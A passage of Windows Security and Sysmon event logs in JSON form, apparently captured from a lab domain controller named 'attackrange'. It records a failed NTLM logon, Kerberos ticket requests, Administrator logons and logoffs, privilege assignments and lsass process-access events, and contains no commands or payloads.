Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t53193\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"53193","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221724,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x45476\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x45476","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2522,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.803\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.803","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221725,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221726,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{39E5BC61-75E8-4407-FF56-0E3B35526E5C}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{39E5BC61-75E8-4407-FF56-0E3B35526E5C}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221727,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{39E5BC61-75E8-4407-FF56-0E3B35526E5C}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{39E5BC61-75E8-4407-FF56-0E3B35526E5C}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221728,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x46475\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{39E5BC61-75E8-4407-FF56-0E3B35526E5C}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x46475","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{39E5BC61-75E8-4407-FF56-0E3B35526E5C}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221729,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x46475\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x46475","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2523,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.803\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.803","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2524,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.803\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.803","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221730,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x46475\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x46475","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2525,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.960\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 